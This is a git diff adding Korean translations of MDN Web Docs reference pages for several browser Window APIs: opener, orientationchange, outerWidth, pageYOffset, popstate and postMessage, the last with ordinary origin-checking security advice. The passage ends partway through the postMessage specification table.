+ <li><a href="http://www.gtalbot.org/FirefoxSection/Popup/PopupAndFirefox.html">Popup windows and Firefox (interactive demos)</a> by Gérard Talbot</li>
+</ul>
+
+<h2 id="References_2">References</h2>
+
+<ul>
+ <li><a href="http://www.cs.tut.fi/~jkorpela/www/links.html">Links Want To Be Links</a> by Jukka K. Korpela</li>
+ <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a> by Jeff Howden</li>
+</ul>
diff --git a/files/ko/web/api/window/opener/index.html b/files/ko/web/api/window/opener/index.html
new file mode 100644
index 0000000000..78dc86c861
--- /dev/null
+++ b/files/ko/web/api/window/opener/index.html
@@ -0,0 +1,52 @@
+---
+title: Window.opener
+slug: Web/API/Window/opener
+tags:
+ - API
+ - HTML DOM
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/opener
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <code><strong>opener</strong></code> 속성은 {{domxref("Window.open", "open()")}}을 사용해 현재 창을 열었던 창의 참조를 반환합니다.</span></p>
+
+<p>예제로 설명하자면, 창 <code>A</code>가 창 <code>B</code>를 열었을 때 <code>B.opener</code>는 <code>A</code>를 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox notranslate">const <var>openerWindow</var> = window.opener
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("window.open()")}}을 사용하거나 {{htmlattrxref("target", "a")}} 특성을 지정한 링크로 현재 창을 연 {{domxref("Window")}}. 현재 창이 다른 창에 의해 생성됐거나 링크로 열리지 않았다면 {{jsxref("null")}}.</p>
+
+<p><a href="https://caniuse.com/#search=noopener">최근 브라우저</a>에서는 {{htmlelement("a")}} 요소에 <code>rel="noopener noreferrer"</code> 특성을 지정하면 <code>window.opener</code> 참조 설정을 방지합니다. 따라서 생성된 창의 <code>opener</code> 속성에 접근해도 <code>null</code>을 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-opener', 'window.opener')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.opener")}}</p>
diff --git a/files/ko/web/api/window/orientationchange_event/index.html b/files/ko/web/api/window/orientationchange_event/index.html
new file mode 100644
index 0000000000..6426f678f7
--- /dev/null
+++ b/files/ko/web/api/window/orientationchange_event/index.html
@@ -0,0 +1,66 @@
+---
+title: orientationchange
+slug: Web/API/Window/orientationchange_event
+translation_of: Web/API/Window/orientationchange_event
+---
+<p><code>orientationchange</code> 이벤트는 장치의 방향이 바뀔 때 호출 된다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/screen-orientation/#event-handlers">Screen Orientation</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Screen</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td>The event target (the topmost target in the DOM tree).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event normally bubbles or not.</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event is cancellable or not.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js;">// Note that "orientationchange" and screen.orientation are unprefixed in the following
+// code although this API is still vendor-prefixed browsers implementing it.
+screen.addEventListener("orientationchange", function() {
+ alert("the orientation of the device is now " + screen.orientation);
+});
+</pre>
diff --git a/files/ko/web/api/window/outerwidth/index.html b/files/ko/web/api/window/outerwidth/index.html
new file mode 100644
index 0000000000..272c415bb7
--- /dev/null
+++ b/files/ko/web/api/window/outerwidth/index.html
@@ -0,0 +1,101 @@
+---
+title: Window.outerWidth
+slug: Web/API/Window/outerWidth
+translation_of: Web/API/Window/outerWidth
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>Window.outerWidth 는 브라우저 윈도우 바깥쪽의 폭을 얻어온다. 이것은 브라우저 윈도우의 사이드바와 가장자리 경계선을 포함한 폭을 나타내어 준다.</p>
+
+<p>이 값은 읽기전용이다. 그리고 기본값이 없다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>outWindowWidth</var> = window.outerWidth;
+</pre>
+
+<p>반환이 끝나면 outWindowWidth는 윈도우의 바깥경계를 포함한 너비(폭)를 담고 있다.</p>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>이 사이즈를 변경하기 위해서는, {{domxref("window.resizeBy()")}} 또는 {{domxref("window.resizeTo()")}}를 참조하세요.</p>
+
+<p>윈도우의 안쪽 폭 즉, 현재 표시되고있는 창의 폭을 얻으려면  {{domxref("window.innerWidth")}}를 참조하세요.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>크롬</th>
+ <th>파이어폭스 (Gecko)</th>
+ <th>인터넷 익스플로러</th>
+ <th>오페라</th>
+ <th>사파리</th>
+ </tr>
+ <tr>
+ <td>기초 지원</td>
+ <td>1</td>
+ <td>{{CompatGeckoDesktop(1.0)}}</td>
+ <td>9</td>
+ <td>9</td>
+ <td>3</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>기초 지원</td>
+ <td>1</td>
+ <td>{{CompatGeckoMobile(1.0)}}</td>
+ <td>9</td>
+ <td>9</td>
+ <td>3</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSSOM View', '#dom-window-outerwidth', 'Window.outerWidth') }}</td>
+ <td>{{ Spec2('CSSOM View') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.outerHeight")}}, {{domxref("window.innerHeight")}}, {{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.resizeBy()")}}, {{domxref("window.resizeTo()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/pageyoffset/index.html b/files/ko/web/api/window/pageyoffset/index.html
new file mode 100644
index 0000000000..4579abd3f8
--- /dev/null
+++ b/files/ko/web/api/window/pageyoffset/index.html
@@ -0,0 +1,164 @@
+---
+title: Window.pageYOffset
+slug: Web/API/Window/pageYOffset
+tags:
+ - API
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/pageYOffset
+---
+<div>{{ APIRef("CSSOM View") }}</div>
+
+<p>{{domxref("Window")}} 인터페이스의 <strong><code>pageYOffset</code></strong> 읽기 전용 속성은 {{domxref("Window.scrollY", "scrollY")}}의 다른 이름으로, 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.</p>
+
+<p>일부 오래된 브라우저는 <code>scrollY</code> 대신 <code>pageYOffset</code>만 지원하는 경우가 있지만, 노후 환경을 신경쓰지 않아도 된다면 둘 중 아무거나 사용해도 괜찮습니다.</p>
+
+<p>수평 스크롤을 나타내는 {{domxref("Window.pageXOffset", "pageXOffset")}} 속성 역시 {{domxref("Window.scrollX", "scrollX")}}의 다른 이름입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>yOffset</em> = window.pageYOffset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("Window")}} 안의 {{domxref("Document")}}가 수직 방향으로 스크롤된 거리를 픽셀 단위로 나타낸 부동소숫점 수. 단일 픽셀보다 높은 수준의 정밀도를 가지므로 정수가 아닐 수 있습니다. <code>0.0</code>은 창의 콘텐츠 영역과 문서의 위쪽 모서리 위치가 일치함을 나타냅니다.</p>
+
+<p><code>pageYOffset</code>은 {{domxref("Window.scrollY")}}의 다른 이름이므로, 값에 대한 더 자세한 정보는 해당 문서를 방문해주세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<div class="hidden">
+<pre class="brush: js">var contentHTML = `
+ &lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
+ &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing
+elit. Aenean volutpat vitae felis non dictum. Ut auctor
+eros tortor, vel elementum arcu rhoncus nec. Donec non
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+Aenean mollis dignissim ultrices. Nunc gravida, sem sit
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+pretium, viverra neque nec, facilisis risus. Duis
+condimentum sapien non felis cursus blandit. Integer
+euismod lectus a ipsum pellentesque lacinia.&lt;/p&gt;
+`;
+
+document.getElementById("frame").contentDocument
+ .body.innerHTML = contentHTML;
+</pre>
+</div>
+
+<p>In this example, an {{HTMLElement("iframe")}} is created and filled with content, then a specific element within the document is scrolled into view in the frame. Once that's done, the vertical scroll position is checked by looking at the value of <code>pageYOffset</code> in the frame's {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML은 단 두 개의 요소를 가진 짧은 코드입니다. 하나는 스크롤할 문서를 담은 {{HTMLElement("iframe")}}이고, 다른 하나는 스크롤을 끝냈을 때 <code>pageYOffset</code>의 값을 기록할 {{HTMLElement("div")}}입니다.</p>
+
+<pre class="brush: html">&lt;iframe id="frame"&gt;
+&lt;/iframe&gt;
+
+&lt;div id="info"&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var frame = document.getElementById("frame");
+var frameDoc = frame.contentDocument;
+var info = document.getElementById("info");
+
+var target = frameDoc.getElementById("overview");
+frameDoc.scrollingElement.scrollTop = target.offsetTop;
+
+info.innerText = "스크롤 후 Y축 차이: " +
+ frame.contentWindow.pageYOffset + " 픽셀";</pre>
+
+<p>The JavaScript code begins by getting into <code>frame</code> and <code>info</code> the <code>&lt;iframe&gt;</code> element that contains our content as well as the <code>&lt;div&gt;</code> element into which we'll output the result of our scroll position check. It then gets a reference to the element we want to scroll into view calling {{domxref("Document.getElementById", "getElementById()")}} on the frame's {{domxref("HTMLIFrameElement.contentDocument")}}.</p>
+
+<p>With the target element in hand, we set the {{domxref("Element.scrollTop", "scrollTop")}} of the frame's {{domxref("Document.scrollingElement", "scrollingElement")}} to the {{domxref("Element.offsetTop", "offsetTop")}} of the target element. By doing so, we set the vertical scrolling position of the frame's document so that it's the same as the top edge of the target element.</p>
+
+<p>This will automatically set the scrolling position to the maximum possible value if the attempted scroll would exceed the maximum. This prevents us from falling off the edge of the document. Nobody wants to know what's out there. There might be dragons.</p>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">iframe {
+ width: 620px;
+ height: 450px;
+ border: 1px solid black;
+}
+
+#info {
+ margin-top: 20px;
+ font: 16px "Open Sans", "Helvetica", "Arial";
+}</pre>
+</div>
+
+<h3 id="결과">결과</h3>
+
+<p>The result follows. Note that the frame's contents have been scrolled to show the section named "Overview", and that the value of the <code>pageYOffset</code> property is shown with the corresponding value.</p>
+
+<p>{{EmbedLiveSample("예제", 650, 500)}}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}</td>
+ <td>{{ Spec2('CSSOM View') }}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.pageYOffset")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Window.pageXOffset", "pageXOffset")}}</li>
+ <li>{{domxref("Window.scrollY", "scrollY")}} and {{domxref("Window.scrollX", "scrollX")}}</li>
+ <li>{{domxref("Window.scroll", "scroll()")}}, {{domxref("Window.scrollBy", "scrollBy()")}}, and {{domxref("window.scrollTo", "scrollTo()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/popstate_event/index.html b/files/ko/web/api/window/popstate_event/index.html
new file mode 100644
index 0000000000..5012c22d1b
--- /dev/null
+++ b/files/ko/web/api/window/popstate_event/index.html
@@ -0,0 +1,66 @@
+---
+title: popstate
+slug: Web/API/Window/popstate_event
+tags:
+ - API
+ - Event
+ - History
+ - History API
+ - Reference
+translation_of: Web/API/Window/popstate_event
+---
+<div>{{APIRef}}</div>
+
+<p>{{domxref("Window")}} 인터페이스의 <strong><code>popstate</code></strong> 이벤트는 사용자의 세션 기록 탐색으로 인해 현재 활성화된 기록 항목이 바뀔 때 발생합니다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 됩니다.</p>
+
+<p>history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의합니다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. </p>
+
+<p>브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리합니다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킵니다. 하지만 Firefox 는 그렇지 않습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Bubbles</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">Cancelable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Interface</th>
+ <td>{{domxref("PopStateEvent")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Event handler property</th>
+ <td>{{domxref("WindowEventHandlers.onpopstate", "onpopstate")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.popstate_event")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<p>예시를 보자, 다음의 코드를 실행하는 <code><var>http://example.com/example.html </var></code>의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.</p>
+
+<pre class="brush: js">window.onpopstate = function(event) {
+ console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2); // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>원래의 히스토리 엔트리인 (<code><var>http://example.com/example.html</var></code>) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.</p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API">Manipulating the browser history (the History API) </a></li>
+</ul>
diff --git a/files/ko/web/api/window/postmessage/index.html b/files/ko/web/api/window/postmessage/index.html
new file mode 100644
index 0000000000..34aa8a67fe
--- /dev/null
+++ b/files/ko/web/api/window/postmessage/index.html
@@ -0,0 +1,183 @@
+---
+title: Window.postMessage()
+slug: Web/API/Window/postMessage
+translation_of: Web/API/Window/postMessage
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><code><strong>window.postMessage()</strong></code> 메소드는 {{domxref("Window")}} 오브젝트 사이에서 안전하게 cross-origin 통신을 할 수 있게 합니다. 예시로, 페이지와 생성된 팝업 간의 통신이나, 페이지와 페이지 안의 iframe 간의 통신에 사용할 수 있습니다.</p>
+
+<p>일반적으로, 다른 페이지 간의 스크립트는 각 페이지가 같은 프로토콜, 포트 번호와 호스트을 공유하고 있을 때에("<a href="/en-US/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>"으로도 불려 집니다.) 서로 접근할 수 있습니다. <code><strong>window.postMessage()</strong></code>는 이 제약 조건을 안전하게 우회하는 기능을 제공합니다.</p>
+
+<p>대체로, 한 window는 다른 window를 참조할 수 있고(<em>예시,</em> <code>targetWindow = window.opener</code>), <code>targetWindow.postMessage()</code>를 통해 다른 window에 {{domxref("MessageEvent")}}를 전송할 수 있습니다. 이벤트를 받는 window는 이를 통해 필요에 따라 <a href="/ko/docs/Web/Guide/Events">이벤트를 처리</a>할 수 있습니다. <code><strong>window.postMessage()</strong></code>를 통해 전달된 인자(예시, "message")는 <a href="#The_dispatched_event">이벤트 객체를 통해 이벤트를 받는 window에서 사용</a>할 수 있습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>targetWindow</em>.postMessage(<em>message</em>, <em>targetOrigin</em>, [<em>transfer</em>]);</pre>
+
+<dl>
+ <dt><code><em>targetWindow</em></code></dt>
+ <dd>메세지를 전달 받을 window의 참조. 참조를 취득할 방법으로는 다음과 같은 것이 있습니다:
+ <ul>
+ <li>{{domxref("Window.open")}} (새 창을 만들고 새 창을 참조할 때),</li>
+ <li>{{domxref("Window.opener")}} (새 창을 만든 window를 참조할 때),</li>
+ <li>{{domxref("HTMLIFrameElement.contentWindow")}} (부모 window에서 임베디드된 {{HTMLElement("iframe")}}을 참조할 때),</li>
+ <li>{{domxref("Window.parent")}} (임베디드된 {{HTMLElement("iframe")}}에서 부모 window를 참조할 때),</li>
+ <li>{{domxref("Window.frames")}} + an index value (named or numeric).</li>
+ </ul>
+ </dd>
+ <dt><code><em>message</em></code></dt>
+ <dd>다른 window에 보내질 데이터. 데이터는 <a href="/en-US/docs/DOM/The_structured_clone_algorithm">the structured clone algorithm</a>을 이용해 직렬화됩니다. 이를 통해 직렬화를 직접할 필요 없이 대상 window에 다양한 데이터 객체를 안전하게 전송할 수 있습니다. [<a href="/en-US/docs/">1</a>]</dd>
+ <dt><code><em>targetOrigin</em></code></dt>
+ <dd><code>targetWindow</code>의 origin을 지정합니다. 이는 전송되는 이벤트에서 사용되며, 문자열 <code>"*"</code>(별도로 지정하지 않음을 나타냄) 혹은 URI이어야 합니다. 이벤트를 전송하려 할 때에 <code>targetWindow</code>의 스키마, 호스트 이름, 포트가 <code>targetOrigin</code>의 정보와 맞지 않다면, 이벤트는 전송되지 않습니다. 세 가지 모두 일치해야 이벤트가 전송됩니다. 이는 메세지를 보내는 곳을 제안하기 위함입니다. 예를 들어, <code>postMessage()</code>를 통해 비밀번호가 전송된다면, 악의적인 제 3자가 가로채지 못하도록, <code>targetOrigin</code>을 반드시 지정한 수신자와 동일한 URI를 가지도록 설정하는 것이 정말 중요합니다. <strong>다른 window의 document의 위치를 알고 있다면, 항상 <code>targetOrigin</code>에 <code>*</code> 말고 특정한 값을 설정하세요. 특정한 대상을 지정하지 않으면 악의적인 사이트에 전송하는 데이터가 공개되어 버립니다.</strong></dd>
+ <dt><code><em><strong>transfer</strong></em></code> {{optional_Inline}}</dt>
+ <dd>일련의 {{domxref("Transferable")}} 객체들. 메세지와 함께 전송됩니다. 이 객체들의 소유권은 수신 측에게 전달되며, 더 이상 송신 측에서 사용할 수 없습니다.</dd>
+</dl>
+
+<h2 id="디스페치_이벤트The_dispatched_event">디스페치 이벤트(The dispatched event)</h2>
+
+<p> 이하의 JavaScript를 실행하면 <code>otherWindow</code> 에서 전달된 메시지를 받을 수 있습니다:</p>
+
+<pre class="brush: js">window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+ if (event.origin !== "http://example.org:8080")
+ return;
+
+ // ...
+}
+</pre>
+
+<p>전달된 메시지의 프로퍼티는 다음과 같습니다:</p>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>다른 윈도우에서 온 오브젝트.</dd>
+ <dt><code>origin</code></dt>
+ <dd><code>postMessage</code> 가 호출될 때 메시지를 보내는 윈도우의 <a href="/en-US/docs/Origin">origin</a>.<br>
+ 이 문자열은 프로토콜과 "://", 호스트 명(존재할 경우), 그리고 ":"의 뒤에 이어 지는 포트 번호가 연결된 것입니다. (포트 번호는 포트 번호가 명기되었거나 주어진 프로토콜의 디폴트 포트와 다를 경우). 전형적인 origin의 예로 <code class="nowiki">https://example.org</code> (이 경우 port <code>443</code>), <code class="nowiki">http://example.net</code> (이 경우 port <code>80</code>), and <code class="nowiki">http://example.com:8080</code>가 있습니다. 이  origin은 <code>postMessage</code> 호출 이후 다른 위치로 이동되었을 수 있는 해당 윈도우의 현재 또는 미래의  origin 이 보장되지 <em>않는다</em>는 점에 주의하세요.</dd>
+ <dt><code>source</code></dt>
+ <dd>메시지를 보낸  <code><a href="/en-US/docs/DOM/window">window</a></code> 오브젝트에 대한 참조.<br>
+ 이것을 사용함으로 다른 orign에 있는 두 개의 윈도우에서 쌍방향 통신을 확립할 수 있습니다.</dd>
+</dl>
+
+<h2 id="보안_문제Security_concerns">보안 문제(Security concerns)</h2>
+
+<p><strong>다른 사이트로부터 메시지를 받고 싶지 않다면,  <code>message</code> 이벤트를 위해 어떠한 이벤트 리스너도 추가하지 <em>마세요</em>.</strong> 이것은 보안 문제를 피할 수 있는 단순명료한 방법입니다.</p>
+
+<p>다른 사이트로부터 메시지를 받고자 한다면, <code>origin</code>과 추가로 <code>source</code> 프로퍼티를 이용해 <strong>항상 보내는 쪽의 신원을 확인하세요</strong>. 임의의 어떤 윈도우(예: <code class="nowiki">http://evil.example.com</code>를 포함)는 다른 윈도우에 메시지를 보낼 수 있으며, 알 수 없는 발신자가 악의적인 메시지를 보내지 않는다는 보장이 없습니다. 그러나 신원을 확인했더라도 <strong>수신된 메시지의 구문을 항상 확인해야 합니다</strong>. 그렇지 않으면 신뢰할 수 있는 메시지만 전송할 것으로 기대한 사이트의 보안 구멍으로 인해 크로스 사이트 스크립트 빈틈이 생길 수 있습니다.</p>
+
+<p><strong><code>postMessage</code> 를 이용해 다른 윈도우로 데이터를 보낼 때, 항상 정확한 타겟 origin (<code>*</code>가 아니라) 을 지정하세요.</strong> 악의적인 사이트는 당신이 모르는 사이에 윈도우의 위치를 변경할 수 있고, 따라서 <code>postMessage</code>를 사용하여 전송된 데이터를 가로챌 수 있습니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">/*
+ * &lt;http://example.com:8080&gt;에 있는 윈도우 A의 스크립트:
+ */
+
+var popup = window.open(...popup details...);
+
+// 팝업이 완전히 로드되었을 때:
+
+// This does nothing, assuming the window hasn't changed its location.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+ "https://secure.example.net");
+
+// This will successfully queue a message to be sent to the popup, assuming
+// the window hasn't changed its location.
+popup.postMessage("hello there!", "http://example.com");
+
+function receiveMessage(event)
+{
+ // Do we trust the sender of this message? (might be
+ // different from what we originally opened, for example).
+ if (event.origin !== "http://example.com")
+ return;
+
+ // event.source is popup
+ // event.data is "hi there yourself! the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<pre class="brush: js">/*
+ * In the popup's scripts, running on &lt;http://example.com&gt;:
+ */
+
+// Called sometime after postMessage is called
+function receiveMessage(event)
+{
+ // Do we trust the sender of this message?
+ if (event.origin !== "http://example.com:8080")
+ return;
+
+ // event.source is window.opener
+ // event.data is "hello there!"
+
+ // Assuming you've verified the origin of the received message (which
+ // you must do in any case), a convenient idiom for replying to a
+ // message is to call postMessage on event.source and provide
+ // event.origin as the targetOrigin.
+ event.source.postMessage("hi there yourself! the secret response " +
+ "is: rheeeeet!",
+ event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p>윈도우 document의 장소와 무관하게, 임의의 윈도우는 언제든지 메시지를 보내기 위해 임의의 다른 윈도우에 있는 함수에 접근할 수도 있습니다. 그래서 이벤트 리스너는 메시지를 취득할 때, <code>origin</code> 또는 <code>source</code> 프로퍼티를 이용해, 먼저 메시지 송신자의 식별 정보를 <strong>체크해야만 합니다</strong>. 이것은 아무리 강조해도 지나치지 않습니다. 왜냐하면,<strong> <code>origin</code> 또는 <code>source</code> 프로퍼티의 체크 실패는 크로스 사이트 스크립팅 공격을 가능하게 하기 때문입니다.</strong></p>
+
+<p>비동기로 전달된 스크립트(타임아웃, 유저 생성 이벤트)에서, <code>postMessage</code>의 호출자의 판별이 불가능할 때, <code>postMessage</code>에 의해 보내진 이벤트를 기다리는 이벤트 핸들러는 예외를 발생시킵니다.</p>
+
+<p><code>postMessage()</code>는 <em>보류 중인 모든 실행 컨텍스트가 완료된 후에만</em> {{domxref("MessageEvent")}}을 발송하도록 스케줄합니다. 예를 들어, 이벤트 핸들러에서 <code>postMessage()</code>가 호출되는 경우, {{domxref("MessageEvent")}}가 발송되기 전에 해당 이벤트에 대한 나머지 핸들러와 마찬가지로 이벤트 핸들러는 완료까지 실행된다.</p>
+
+<p>전달된 이벤트의 <code>origin</code> 프로퍼티의 값은 호출하는 윈도우의 <code>document.domain</code> 현재 값에 영향을 받지 않습니다.</p>
+
+<p>IDN 호스트 명에 한하여, <code>origin</code> 프로퍼티 값은 일관되게 Unicode 또는 punycode가 아닙니다. 그래서, IDN 사이트로 부터 메시지를 기대하는 경우 최상의 호환성 체크를 하기위해, IDN과 Punycode의 값 모두를 체크하세요. 이 값은 결국 일관되게 IDN이 될 것이지만, 현재로서는 IDN과 Punycode 양식을 모두 처리해야 합니다.</p>
+
+<p>송신 창에 <code>javascript:</code> 또는<code>data:</code> URL이 있을 때의 <code>origin</code> 프로퍼티의 값은 URL을 로드한 스크립트의 origin입니다.</p>
+
+<h3 id="Using_window.postMessage_in_extensions_Non-standard_inline">Using window.postMessage in extensions {{Non-standard_inline}}</h3>
+
+<p><code>window.postMessage</code>는 크롬 코드(예: 확장 코드 및 권한 코드)로 실행되는 JavaScript에서 사용할 수 있지만, 발송된 이벤트의 <code>source</code> 프로퍼티는 보안 제한으로 항상 <code>null</code>입니다. (다른 프로퍼티에는 예상 값이 있습니다.)</p>
+
+<p>콘텐츠 또는 웹 컨텍스트 스크립트가 <code>targetOrigin</code>을 지정하여 확장 스크립트(백그라운드 스크립트 또는 콘텐츠 스크립트)와 직접 통신하는 것은 불가능합니다. 웹 또는 콘텐츠 스크립트는 <code>"*"</code>의 <code>targetOrigin</code>이 포함된 <code>window.postMessage</code>를 사용하여 모든 리스너에게 브로드캐스트할 수 있지만, 확장은 이러한 메시지의 발신지를 확인할 수 없고 다른 리스너(제어하지 않는 수신자 포함)가 수신할 수 있기 때문에 이 작업은 중지됩니다. </p>
+
+<p>컨텐츠 스크립트는 <a href="/en-US/Add-ons/WebExtensions/API/runtime">runtime.sendMessage</a> 를 사용하여 백그라운드 스크립트와 통신해야 합니다. 웹 컨텍스트 스크립트는 사용자 지정 이벤트를 사용하여 컨텐츠 스크립트(필요한 경우 게스트 페이지에서 스누핑을 방지하기 위해 임의로 생성된 이벤트 이름 포함)와 통신할 수 있습니다.</p>
+
+<p>마지막으로, <code>file:</code> URL의 페이지의 메시지를 보낼 경우 <code>targetOrigin</code> 파라미터를 <code>"*"</code>로 할 필요가 있습니다. <code>file://</code> 은 보안 제한으로 사용할 수 없으며 이 제한은 향후 수정될 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th><strong>Specification</strong></th>
+ <th><strong>Status</strong></th>
+ <th><strong>Comment</strong></th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "web-messaging.html#dom-window-postmessage", "postMessage()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
